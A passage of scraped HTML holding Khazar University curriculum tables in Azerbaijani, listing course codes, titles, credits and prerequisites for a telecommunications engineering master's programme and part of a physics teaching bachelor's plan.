1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin adı</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Kredit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 357</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Elektromaqnit nəzəriyyəsi</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 370</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Radiomühəndisliyin əsasları</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 346</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Telekommunikasiya şəbəkələri</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">CMS 430</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Proqramlaşdırma mühəndisliyi</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"666\" colspan=\"4\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\"><strong>III semestr</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">#</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin kodu</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin adı</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Kredit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 490</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Optk rabitə mühəndisliyi</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 412</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Mikrodalğalı dizayn əsasları</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 454</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Siqnalların emalı</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 382</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Radiomühəndislik avadanlıqları</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">8</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"666\" colspan=\"4\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\"><strong>IV semestr</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">#</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin kodu</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Fənnin adı</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:center;line-height:11.75pt\"\"=\"\">Kredit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"45\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;text-indent:-36.0pt;line-height:11.75pt\"=\"\">&nbsp;&nbsp;&nbsp;&nbsp; 1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"90\" style=\"\" width:67.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">ETR 600</p>\r\n  </td>\r\n  <td width=\"372\" style=\"\" width:279.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">Magistr tezisi</p>\r\n  </td>\r\n  <td width=\"158\" style=\"\" width:118.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.85pt;text-align:justify;line-height:11.75pt\"\"=\"\">24</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p><strong>Cəmi</strong>: 120&nbsp;kredit</p><p><br></p><p><br></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"1013\" style=\"\" border-collapse:collapse;width:761pt\";border-width:1px;border-style:solid\"=\"\">\r\n <colgroup><col width=\"86\" style=\"width:65pt\">\r\n <col width=\"216\" style=\"width:162pt\">\r\n <col width=\"46\" style=\"width:35pt\">\r\n <col width=\"140\" style=\"width:105pt\">\r\n <col width=\"52\" style=\"width:39pt\">\r\n <col width=\"83\" style=\"width:62pt\">\r\n <col width=\"243\" style=\"width:182pt\">\r\n <col width=\"62\" style=\"width:47pt\">\r\n <col width=\"85\" style=\"width:64pt\">\r\n </colgroup><tbody><tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" rowspan=\"2\" height=\"40\" class=\"xl108\" width=\"1013\" style=\"height:30pt;width:761pt;text-align:center\"><em><strong>Xəzər Universitəsi</strong></em></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl67\" style=\"height:15.0pt\">&nbsp;</td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\">&nbsp;</span></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\">&nbsp;</span></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\">&nbsp;</span></td>\r\n  <td class=\"xl102\"><strong><em>050104–&nbsp;Fizika müəllimliyi</em></strong></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\"><strong><em>&nbsp;</em></strong></span></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\"><strong><em>&nbsp;</em></strong></span></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\"><strong><em>&nbsp;</em></strong></span></td>\r\n  <td class=\"xl102\"><span style=\"visibility:hidden;text-decoration:underline\"><strong><em>&nbsp;</em></strong></span></td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl107\" style=\"height:15.0pt\">1-ci il</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl106\" style=\"height:30pt;background-color:#99ff33\">Kod</td>\r\n  <td rowspan=\"2\" class=\"xl109\" width=\"216\" style=\"width:162pt;background-color:#99ff33\">Payiz</td>\r\n  <td rowspan=\"2\" class=\"xl109\" width=\"46\" style=\"width:35pt;background-color:#99ff33\">KU</td>\r\n  <td rowspan=\"2\" class=\"xl90\" width=\"140\" style=\"width:105pt;background-color:#99ff33\">Prerekvizit</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td rowspan=\"2\" class=\"xl106\" style=\"background-color:#99ff33\">Kod</td>\r\n  <td rowspan=\"2\" class=\"xl110\" style=\"background-color:#99ff33\">Yaz</td>\r\n  <td rowspan=\"2\" class=\"xl110\" style=\"background-color:#99ff33\">KU</td>\r\n  <td rowspan=\"2\" class=\"xl106\" style=\"background-color:#99ff33\">Prerekvizit</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl79\" style=\"height:15pt;background-color:#99ff33\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#99ff33\">ENGL 101</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">İngilis dilinin\r\n  əsasları 1</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">4</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;background-color:#99ff33\">ENGL 102</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#99ff33\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td class=\"xl78\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#99ff33;text-align:right\">4</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33\">ENGL 101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#99ff33\">ASC 201&nbsp;</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#99ff33\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl71\" style=\"border-top:none;background-color:#99ff33\">AZH 150&nbsp;</td>\r\n  <td class=\"xl73\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#99ff33\">Azərbaycan\r\n  tarixi</td>\r\n  <td class=\"xl73\" width=\"62\" style=\"border-top:none;border-left:none;width:47pt;background-color:#99ff33;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl69\" style=\"height:15pt;border-top:none;background-color:#99ff33\">AZLL 101</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">Azərbaycan dili-1</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#99ff33\">AZLL105</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#99ff33\">Azərbaycan\r\n  ədəbiyyatı&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#99ff33\">MATH101</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#99ff33\">Riyaziyyat-1&nbsp;</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#99ff33\">EDU 101</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#99ff33\">Təhsilə\r\n  giriş&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33;text-align:right\">3</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl70\" width=\"86\" style=\"height:15pt;border-top:none;width:65pt;background-color:#99ff33\">CMS 101</td>\r\n  <td class=\"xl70\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#99ff33\">Komputer\r\n  elminə giriş</td>\r\n  <td class=\"xl70\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#99ff33\">3</td>\r\n  <td class=\"xl69\" style=\"border-top:none;border-left:none;background-color:#99ff33\">yox</td>\r\n  <td class=\"xl79\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl78\" width=\"83\" style=\"border-top:none;width:62pt;background-color:#99ff33\">MATH 102</td>\r\n  <td class=\"xl78\" width=\"243\" style=\"border-top:none;border-left:none;width:182pt;background-color:#99ff33\">Riyaziyyat-2&nbsp;</td>\r\n  <td class=\"xl72\" style=\"border-top:none;border-left:none;background-color:#99ff33;text-align:right\">3</td>\r\n  <td class=\"xl78\" width=\"85\" style=\"border-top:none;border-left:none;width:64pt;background-color:#99ff33\">MATH\r\n  101</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl65\" style=\"height:15pt;border-top:none;background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl94\" width=\"216\" style=\"border-top:none;border-left:none;width:162pt;background-color:#99ff33\">Credit</td>\r\n  <td class=\"xl90\" width=\"46\" style=\"border-top:none;border-left:none;width:35pt;background-color:#99ff33\">16</td>\r\n  <td class=\"xl81\" style=\"border-top:none;border-left:none;background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl82\" style=\"background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl83\" style=\"border-top:none;background-color:#99ff33\">&nbsp;</td>\r\n  <td class=\"xl65\" style=\"border-top:none;border-left:none;background-color:#99ff33\">Credit</td>\r\n  <td class=\"xl66\" style=\"border-top:none;border-left:none;background-color:#99ff33\">16</td>\r\n  <td class=\"xl84\" style=\"border-top:none;border-left:none;background-color:#99ff33\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td colspan=\"9\" height=\"20\" class=\"xl107\" style=\"height:15.0pt\">2-ci il</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td rowspan=\"2\" height=\"40\" class=\"xl106\" style=\"height:30.0pt\">Kod</td>\r\n  <td rowspan=\"2\" class=\"xl103\" width=\"216\" style=\"width:162pt\">Payiz</td>\r\n  <td rowspan=\"2\" class=\"xl103\" width=\"46\" style=\"width:35pt\">KU</td>\r\n  <td rowspan=\"2\" class=\"xl104\" width=\"140\" style=\"width:105pt\">Prerekvizit</td>\r\n  <td class=\"xl67\">&nbsp;</td>\r\n  <td rowspan=\"2\" class=\"xl106\">Kod</td>\r\n  <td rowspan=\"2\" class=\"xl103\" width=\"243\" style=\"width:182pt\">Yaz</td>\r\n  <td rowspan=\"2\" class=\"xl103\" width=\"62\" style=\"width:47pt\">KU</td>\r\n  <td rowspan=\"2\" class=\"xl88\" width=\"85\" style=\"width:64pt\">Prerekvizit</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl67\" style=\"height:15.0pt\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\" style=\"height:15.0pt\">\r\n  <td height=\"20\" class=\"xl72\" 